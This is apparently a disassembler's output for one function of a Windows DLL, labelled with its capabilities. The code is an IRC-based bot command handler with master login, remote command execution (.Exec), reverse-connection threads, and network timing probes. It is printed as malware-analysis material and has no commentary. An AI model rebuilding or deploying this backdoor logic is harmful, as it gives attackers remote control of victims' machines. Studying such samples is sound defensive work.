Function at 0x180043a28
Capabilities:
Check for time delay via gettickcount
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x8500
call fcn.180065650
sub rsp, rax
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x84f0], rax
lea rcx, [rsp + 0x44f1]
xor r14d, r14d
xor edx, edx
mov r8d, 0x3fff
mov byte [rsp + 0x44f0], r14b
call fcn.180052810
mov r12d, 0x3ff
lea rcx, [rsp + 0x541]
mov r8, r12
xor edx, edx
mov byte [rsp + 0x540], r14b
call fcn.180052810
mov ebp, r14d
mov dword [rsp + 0x80], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
or r13, 0xffffffffffffffff
mov r15d, eax
mov dword [rsp + 0x84], eax
mov ebx, 1
lea rdi, [0x18009b400]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
sub r11d, r15d
mul r11d
shr edx, 6
cmp edx, 0x258
jb 0x180043bbb
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x44f0]
xor edx, edx
mov r8d, 0x4000
mov r15d, eax
mov dword [rsp + 0x84], eax
call fcn.180052810
mov rcx, rdi
call fcn.1800529c0
mov r9, qword [0x18009b3e8]
mov edx, 0x3fff
lea rcx, [rsp + 0x44f0]
cmp eax, r14d
jbe 0x180043b9b
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rdi
call fcn.1800528fc
jmp 0x180043ba7
mov ebp, dword [rsp + 0x80]
xor r14d, r14d
or r13, 0xffffffffffffffff
jmp 0x18004413b
mov ebp, dword [rsp + 0x80]
mov r12d, 0x3ff
jmp 0x180043ac3
mov ebp, dword [rsp + 0x80]
jmp 0x180043aca
mov ebp, dword [rsp + 0x80]
jmp 0x18004413b
mov ebx, 1
mov r12d, 0x3ff
jmp 0x180043aca
mov rbx, rsi
jmp 0x180043ac3
lea r8, str.JOIN__s_r_n
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x44f0]
call fcn.180012d7c
lea rcx, [rsp + 0x44f0]
xor edx, edx
mov r8d, 0x4000
call fcn.180052810
mov rcx, qword [0x180097630]
mov edx, 0x258
call fcn.180005d6c
cmp eax, r14d
je 0x180043e7c
cmp eax, r13d
je 0x180043e7c
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x44f0]
mov r8d, 0x4000
call fcn.180012dac
cmp eax, r14d
jle 0x180043e7c
lea rdx, str.PING_:
lea rcx, [rsp + 0x44f0]
mov r8d, 6
call fcn.180052dec
cmp eax, r14d
jne 0x180043c6a
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x44f0]
mov byte [rsp + 0x44f1], 0x4f
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ecx, SQLAllocHandle
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180043aca
lea rdx, str.___:_n_r
lea rcx, [rsp + 0x44f0]
call fcn.180054330
mov edi, r14d
mov rsi, r14
cmp rax, r14
je 0x180043ca9
mov qword [rsp + rsi*8 + 0xd0], rax
lea rdx, str.___:_n_r
xor ecx, ecx
add edi, ebx
add rsi, rbx
call fcn.180054330
cmp edi, 0x40
jb 0x180043c84
cmp edi, 5
jb 0x180043ac3
lea rcx, [rsp + 0x540]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
mov rbx, qword [rsp + 0xe8]
lea rdx, str.PRIVMSG
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180044145
lea rdx, str.PART
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043d78
lea rdx, str.QUIT
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043d78
cmp dword [0x180097638], r14d
je 0x180043db4
lea rdx, str.NICK
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
jne 0x180043db4
mov rdx, qword [rsp + 0xd0]
lea rsi, [0x18009763c]
mov rcx, rsi
call fcn.180053060
cmp eax, r14d
jne 0x180043db4
xor edx, edx
mov r8d, 0x80
mov rcx, rsi
call fcn.180052810
mov rdx, qword [rsp + 0xf0]
mov r8d, 0x7f
mov rcx, rsi
call fcn.180052a80
jmp 0x180043db4
cmp dword [0x180097638], r14d
je 0x180043db4
mov rdx, qword [rsp + 0xd0]
lea rsi, [0x18009763c]
mov rcx, rsi
call fcn.180053060
cmp eax, r14d
jne 0x180043db4
xor edx, edx
mov r8d, 0x80
mov rcx, rsi
mov dword [0x180097638], r14d
call fcn.180052810
lea rdx, str.KICK
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
jne 0x180043ec3
cmp edi, 5
mov ebx, 1
lea rdi, [0x18009b400]
jbe 0x180043aca
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [0x18009b3f0]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
lea rcx, [rsp + 0x540]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
lea rdi, [0x18009b400]
mov rcx, rdi
call fcn.1800529c0
mov r9, qword [0x18009b3e8]
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
jbe 0x180043e53
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rdi
call fcn.1800528fc
jmp 0x180043e5f
lea r8, str.JOIN__s_r_n
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
jne 0x180043aca
mov rcx, qword [0x180097630]
call qword [0x180099c60]
mov qword [0x180097630], r13
xor eax, eax
mov rcx, qword [rsp + 0x84f0]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x8500]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rbx, qword [rsp + 0xd8]
lea rdx, [0x18007a710]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800440c2
lea rdx, [0x18007a70c]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800440c2
lea rdx, [0x18007a708]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x18004403d
lea rdx, [0x18007a704]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x18004403d
lea rdx, [0x18007a700]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043f9f
lea rdx, [0x18007a6fc]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043f9f
lea rdx, [0x18007a6f8]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043f9f
lea rdx, [0x18007a6f4]
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x180043f9f
lea rdx, [0x18007a6f0]
mov rcx, rbx
call fcn.180053060
mov ebx, 1
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
lea rcx, [rsp + 0x540]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
lea rdi, [0x18009b400]
mov rcx, rdi
call fcn.1800529c0
mov r9, qword [0x18009b3e8]
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
jbe 0x180043fed
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rdi
call fcn.1800528fc
jmp 0x180043ff9
lea r8, str.JOIN__s_r_n
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
add ebp, ebx
mov dword [rsp + 0x80], ebp
cmp ebp, 0x14
jae 0x180043e7c
jmp 0x180043aca
lea rcx, [rsp + 0x44f0]
xor edx, edx
mov r8d, 0x4000
call fcn.180052810
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9, qword [0x18009b3f0]
mov r11d, eax
mov eax, 0x4ec4ec4f
lea r8, str.NICK__s__c_r_n
lea rcx, [rsp + 0x44f0]
mul r11d
shr edx, 3
imul edx, edx, 0x1a
sub r11d, edx
mov edx, 0x3fff
add r11d, 0x41
mov dword [rsp + 0x20], r11d
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x44f0]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180043abe
lea rcx, [rsp + 0x44f0]
xor edx, edx
mov r8d, 0x4000
call fcn.180052810
lea rdi, [0x18009b400]
mov rcx, rdi
call fcn.1800529c0
mov r9, qword [0x18009b3e8]
mov edx, 0x3fff
lea rcx, [rsp + 0x44f0]
cmp eax, r14d
jbe 0x180044112
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rdi
call fcn.1800528fc
jmp 0x18004411e
lea r8, str.JOIN__s_r_n
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x44f0]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ebx, 1
jmp 0x180043aca
mov ebx, 1
cmp edi, 6
jb 0x180043ac3
mov rbp, qword [rsp + 0xf8]
lea rdx, str..Reset
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800441ff
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jbe 0x180043aca
mov rdx, qword [0x18009b3f8]
mov rcx, qword [rsp + 0x100]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
lea r8d, [rbx + 0x7f]
lea rcx, [0x18009763c]
xor edx, edx
mov dword [0x180097638], r14d
call fcn.180052810
mov r9, qword [rsp + 0xf0]
lea r8, str.PRIVMSG__s_:Rest_Successful_r_n
lea rcx, [rsp + 0x540]
mov rdx, r12
call fcn.1800528fc
jmp 0x18004a4f6
lea rdx, str..CUL
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800442cd
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rbx, qword [rsp + 0x100]
mov rcx, rbx
call fcn.180004ccc
mov edi, eax
cmp eax, r14d
jbe 0x180043abe
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov r9, qword [rsp + 0xf0]
mov dword [rsp + 0x28], edi
lea r8, str.PRIVMSG__s_:_s_Login__d_Times_r_n
mov rdx, r12
lea rcx, [rsp + 0x540]
mov qword [rsp + 0x20], rbx
cmp eax, r14d
je 0x1800442a1
mov r9, qword [rsp + 0xd0]
call fcn.1800528fc
lea rdx, [rsp + 0x540]
mov rcx, qword [0x180097630]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ebx, 1
jmp 0x18004a513
lea rdx, str..FTest
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004adfc
lea rdx, str..ATest
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004adfc
lea rdx, str..WakeUp
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044459
cmp edi, 7
je 0x18004432a
mov ebp, dword [rsp + 0x80]
cmp edi, 9
jne 0x180043ac3
lea rcx, [rsp + 0x24f1]
mov r8, r12
xor edx, edx
mov byte [rsp + 0x24f0], r14b
call fcn.180052810
lea rcx, [rsp + 0x24f0]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rsi, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
lea r9, [rsp + 0x24f0]
cmove rbx, qword [rsp + 0xf0]
mov r8, rsi
mov rdx, rbx
call fcn.18002ee74
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
je 0x180043abe
cmp edi, 7
jne 0x1800443d7
mov rcx, qword [0x180097630]
lea r9, [rsp + 0x24f0]
mov r8, rsi
mov rdx, rbx
call fcn.18002e87c
jmp 0x1800442c3
mov rcx, qword [rsp + 0x110]
call fcn.18000496c
cmp eax, r14d
je 0x180044450
mov rcx, qword [rsp + 0x110]
call fcn.180054324
lea ecx, [rax - 1]
cmp ecx, 0xfffe
ja 0x180044431
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x180097630]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x24f0]
mov r9, rsi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.18002ea40
jmp 0x1800442c3
lea r8, str.PRIVMSG__s_:Port_Out_Of_Range_r_n
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
call fcn.1800528fc
jmp 0x1800442a6
lea r8, str.PRIVMSG__s_:Invalid_Port_r_n
jmp 0x180044438
lea rdx, str..TConnect
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800445b6
cmp edi, 9
je 0x180044486
mov ebp, dword [rsp + 0x80]
cmp edi, 8
jne 0x180043ac3
mov ebp, dword [rsp + 0x80]
mov ebx, 1
cmp dword [0x180097638], r14d
je 0x180043ac3
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
cmp eax, r14d
je 0x180043ac3
mov rcx, qword [rsp + 0x108]
mov ebx, r14d
mov esi, r14d
call fcn.180054324
mov ebp, 0x2710
mov r12d, eax
cmp edi, 9
jne 0x180044508
mov rcx, qword [rsp + 0x110]
call fcn.18000496c
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043b83
mov rcx, qword [rsp + 0x110]
call fcn.180054324
mov ebp, eax
mov edi, 5
lea r15d, [rdi - 4]
mov rcx, qword [rsp + 0x100]
movzx edx, r12w
call fcn.180006ffc
cmp eax, r14d
jl 0x18004452c
add esi, eax
add ebx, r15d
sub rdi, r15
jne 0x180044511
mov r15d, dword [rsp + 0x84]
mov r12d, 0x3ff
lea rdi, [0x18009b400]
cmp ebx, r14d
jbe 0x180043b77
xor edx, edx
mov eax, esi
lea rdi, [0x18009b400]
div ebx
cmp eax, ebp
mov ebp, dword [rsp + 0x80]
mov ebx, eax
ja 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS_r_n
mov r9, qword [rsp + 0xf0]
mov dword [rsp + 0x20], ebx
lea rcx, [rsp + 0x540]
mov rdx, r12
cmp eax, r14d
je 0x1800445ac
mov r9, qword [rsp + 0xd0]
call fcn.1800528fc
jmp 0x1800442a6
lea rdx, str..SPing
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800446a2
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
mov rcx, qword [rsp + 0x108]
call fcn.180054324
mov rcx, qword [rsp + 0x100]
lea r8, [rsp + 0x9c]
mov edx, eax
mov dword [rsp + 0x9c], r14d
call fcn.180007708
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov r9, qword [rsp + 0xf0]
lea r8, str.PRIVMSG__s_:The_Average_Ping_Speed:__d_MS_r_n
cmp eax, r14d
mov eax, dword [rsp + 0x9c]
mov rdx, r12
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x540]
je 0x180044698
mov r9, qword [rsp + 0xd0]
call fcn.1800528fc
jmp 0x18004a4f6
lea rdx, str..Report
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044725
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.1800304c0
jmp 0x1800442c3
lea rdx, [0x18007a5a8]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ad8d
lea rdx, str..ModifyBanner
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ad8d
lea rdx, [0x18007a594]
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ad26
lea rdx, str..ListBanner
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ad26
lea rdx, str..Exec
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044913
mov ebp, dword [rsp + 0x80]
cmp edi, 6
jbe 0x180043ac3
cmp dword [0x180097638], r14d
je 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov r12, qword [rsp + 0xd0]
call fcn.180053060
mov ebx, 0x3ff
lea rcx, [rsp + 0x20f1]
cmp eax, r14d
mov r8, rbx
mov byte [rsp + 0x20f0], r14b
cmove r12, qword [rsp + 0xf0]
xor edx, edx
call fcn.180052810
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x20f0]
xor edx, edx
call fcn.180052810
mov r9, qword [rsp + 0x100]
lea r8, [0x18006a9d8]
lea rcx, [rsp + 0x20f0]
mov rdx, rbx
call fcn.1800528fc
mov ebp, 7
cmp edi, ebp
jbe 0x18004489c
lea rsi, [rsp + 0x108]
lea r15d, [rbp - 6]
mov rcx, qword [rsi]
call fcn.1800529c0
lea rcx, [rsp + 0x20f0]
mov rbx, rax
call fcn.1800529c0
add ebx, eax
cmp ebx, 0x3f6
jae 0x180044894
lea rdx, [0x18007a57c]
lea rcx, [rsp + 0x20f0]
call fcn.1800530d0
mov rdx, qword [rsi]
mov rcx, rax
call fcn.1800530d0
add ebp, r15d
add rsi, 8
cmp ebp, edi
jb 0x180044848
mov r15d, dword [rsp + 0x84]
mov esi, 0x7f
lea rcx, [rsp + 0xcc1]
xor edx, edx
mov r8, rsi
mov byte [rsp + 0xcc0], r14b
call fcn.180052810
lea rcx, [rsp + 0x20f0]
call fcn.18000c7c8
mov r9, r12
mov rdx, rsi
lea rcx, [rsp + 0xcc0]
lea r8, str.PRIVMSG__s_:Execute_Command_Successfully_r_n
cmp eax, r14d
jne 0x1800448e9
lea r8, str.PRIVMSG__s_:Fail_To_Execute_Command_r_n
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0xcc0]
call fcn.180012d7c
mov ebp, dword [rsp + 0x80]
mov ebx, 1
jmp 0x180043b60
lea rdx, str..Connect
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044b14
mov ebp, dword [rsp + 0x80]
cmp edi, 8
jb 0x180043ac3
cmp dword [0x180097638], r14d
je 0x180043ac3
mov esi, 0xff
lea rcx, [rsp + 0xfd1]
xor edx, edx
mov r8, rsi
mov byte [rsp + 0xfd0], r14b
call fcn.180052810
cmp edi, 8
jne 0x18004499d
mov rax, qword [rsp + 0x108]
mov r9, qword [rsp + 0x100]
lea r8, str.Connect__s__s
lea edx, [rsi + 1]
lea rcx, [rsp + 0xfd0]
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180044a7d
cmp edi, 9
jne 0x1800449b4
mov rax, qword [rsp + 0x110]
mov edx, 0x100
jmp 0x180044a4f
jbe 0x180044a7d
lea rcx, [rsp + 0x11d1]
mov r8, rsi
xor edx, edx
mov byte [rsp + 0x11d0], r14b
call fcn.180052810
mov ebp, 0x100
lea rcx, [rsp + 0x11d0]
mov r8, rbp
xor edx, edx
call fcn.180052810
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x11d0]
call fcn.180053170
lea rdx, [0x18007083c]
mov rcx, rax
call fcn.1800530d0
cmp edi, 9
jbe 0x180044a44
lea rbx, [rsp + 0x118]
add edi, 0xfffffff7
mov r12d, 1
mov rdx, qword [rbx]
lea rcx, [rsp + 0x11d0]
call fcn.1800530d0
add rbx, 8
sub rdi, r12
jne 0x180044a25
mov r12d, 0x3ff
lea rax, [rsp + 0x11d0]
mov rdx, rbp
mov r9, qword [rsp + 0x100]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x108]
lea r8, str.Connect__s__s__s
lea rcx, [rsp + 0xfd0]
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rcx, [rsp + 0x10d1]
mov r8, rsi
xor edx, edx
mov byte [rsp + 0x10d0], r14b
call fcn.180052810
lea rcx, [rsp + 0x10d0]
xor edx, edx
mov r8d, 0x100
call fcn.180052810
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
lea rcx, [rsp + 0xfd0]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
call fcn.180050948
mov r9, rbx
mov rdx, rsi
lea rcx, [rsp + 0x10d0]
lea r8, str.PRIVMSG__s_:Create_Reverse_Thread_Successfully_r_n
cmp eax, r14d
jne 0x180044b02
lea r8, str.PRIVMSG__s_:Fail_To_Create_Reverse_Thread_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x10d0]
jmp 0x18004a143
lea rdx, str..Ping
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044cb5
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rdi, qword [rsp + 0xd0]
call fcn.180053060
lea rcx, [rsp + 0x13e1]
mov r8d, 0x1ff
cmp eax, r14d
mov byte [rsp + 0x13e0], r14b
cmove rdi, qword [rsp + 0xf0]
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x13e0]
xor edx, edx
mov r8d, 0x200
mov esi, ebx
call fcn.180052810
mov rbx, qword [rsp + 0x100]
cmp rbx, r14
je 0x180043b93
mov rcx, rbx
call qword [0x18009af40]
cmp eax, 0xffffffff
je 0x180044bf5
lea r8, str.PRIVMSG__s_:Pinging__s_r_n
lea rcx, [rsp + 0x13e0]
mov r9, rdi
mov edx, 0x1ff
mov qword [rsp + 0x20], rbx
call fcn.1800528fc
jmp 0x180044c3e
mov rcx, rbx
call fcn.180004a54
mov r9, rdi
mov edx, 0x1ff
lea rcx, [rsp + 0x13e0]
cmp rax, r14
je 0x180044c2a
mov qword [rsp + 0x28], rax
lea r8, str.PRIVMSG__s_:Pinging__s_____s_r_n
mov qword [rsp + 0x20], rbx
call fcn.1800528fc
jmp 0x180044c3e
lea r8, str.PRIVMSG__s_:Fail_To_Resolve_Host__s_r_n
mov qword [rsp + 0x20], rbx
call fcn.1800528fc
mov esi, r14d
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x13e0]
call fcn.180012d7c
cmp eax, r14d
je 0x180043abe
cmp esi, r14d
je 0x180043abe
mov esi, 0x200
lea rcx, [rsp + 0x13e0]
xor edx, edx
mov r8, rsi
call fcn.180052810
lea rdx, [rsp + 0x13e0]
mov r8d, esi
mov rcx, rbx
call fcn.1800078c4
lea r11, [rsp + 0x13e0]
mov r9, rdi
mov qword [rsp + 0x20], r11
lea r8, str.PRIVMSG__s_:_s_r_n
mov rdx, r12
lea rcx, [rsp + 0x540]
jmp 0x1800445ac
lea rdx, str..Ram
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044db1
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.180054324
lea rdx, [rsp + 0xa4]
lea rcx, [rsp + 0xb8]
mov dword [rsp + 0xb8], r14d
mov dword [rsp + 0xa4], r14d
mov ebx, eax
call fcn.180007e74
mov edi, dword [rsp + 0xb8]
cmp edi, ebx
mov ebx, 1
jb 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov r9, qword [rsp + 0xf0]
lea r8, str.PRIVMSG__s_:_d_MB____d_MB_r_n
cmp eax, r14d
mov eax, dword [rsp + 0xa4]
mov rdx, r12
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edi
lea rcx, [rsp + 0x540]
je 0x180044da7
mov r9, qword [rsp + 0xd0]
call fcn.1800528fc
jmp 0x18004a4f6
lea rdx, str..SLogin
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180044fb5
cmp edi, 8
je 0x180044de5
mov ebp, dword [rsp + 0x80]
cmp edi, 9
lea rdi, [0x18009b400]
jne 0x180043aca
lea rcx, [rsp + 0xec1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xec0], r14b
call fcn.180052810
mov ebx, 0x104
lea rcx, [rsp + 0xec0]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea r11, [0x18009b470]
lea r9, [rsp + 0xec0]
mov qword [rsp + 0x28], r11
lea rdx, str.DefaultUserName
lea rcx, str.GlobalSettings
xor r8d, r8d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0xec0]
cmp eax, r14d
jne 0x180044e8c
mov r8, rbx
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0xec0]
mov edx, ebx
call fcn.180038358
mov ebp, dword [rsp + 0x80]
mov ebx, 1
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
jmp 0x180044ea1
call fcn.1800529c0
lea rcx, [rsp + 0xec0]
mov rdx, rax
call fcn.18000b550
mov rcx, qword [rsp + 0x108]
call fcn.1800529c0
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0xec0]
mov r8d, eax
call fcn.180052dec
mov ebp, dword [rsp + 0x80]
mov ebx, 1
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
mov rdx, qword [0x18009b3f8]
mov rcx, qword [rsp + 0x100]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
cmp dword [0x180097638], r14d
jne 0x180044f68
mov rax, rbx
lea r8d, [rbx + 0x7e]
mov rbx, qword [rsp + 0xd0]
lea rcx, [0x18009763c]
mov rdx, rbx
mov dword [0x180097638], eax
call fcn.180052a80
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov qword [rsp + 0x20], rbx
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
je 0x180044f87
mov r9, rbx
jmp 0x180044f8f
mov rax, qword [rsp + 0xd0]
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
mov rdx, r12
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x540]
mov r9, qword [rsp + 0xf0]
call fcn.1800528fc
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ebx, 1
cmp eax, r14d
jmp 0x18004a4e9
lea rdx, str..Login
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045093
cmp edi, 7
je 0x180044fe9
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [0x18009b3f8]
mov rcx, qword [rsp + 0x100]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
mov ebx, 1
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rdi, rbx
cmp eax, r14d
cmove rdi, qword [rsp + 0xf0]
cmp dword [0x180097638], r14d
jne 0x180045074
mov eax, 1
lea rcx, [0x18009763c]
mov rdx, rbx
lea r8d, [rax + 0x7e]
mov dword [0x180097638], eax
call fcn.180052a80
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
jmp 0x18004507b
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov rdx, r12
lea rcx, [rsp + 0x540]
jmp 0x180044f8f
cmp dword [0x180097638], r14d
je 0x1800467c9
lea rdx, str..Set
mov r8d, 5
mov rcx, rbp
call fcn.180052dec
cmp eax, r14d
jne 0x1800451fc
cmp edi, 8
je 0x1800450d3
mov ebp, dword [rsp + 0x80]
cmp edi, 9
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbp, qword [rsp + 0xd0]
call fcn.180053060
mov esi, r14d
cmp eax, r14d
cmove rbp, qword [rsp + 0xf0]
cmp edi, 9
jne 0x18004511e
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete sil
mov rbx, qword [rsp + 0x100]
lea rdx, str.AllowedIP
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
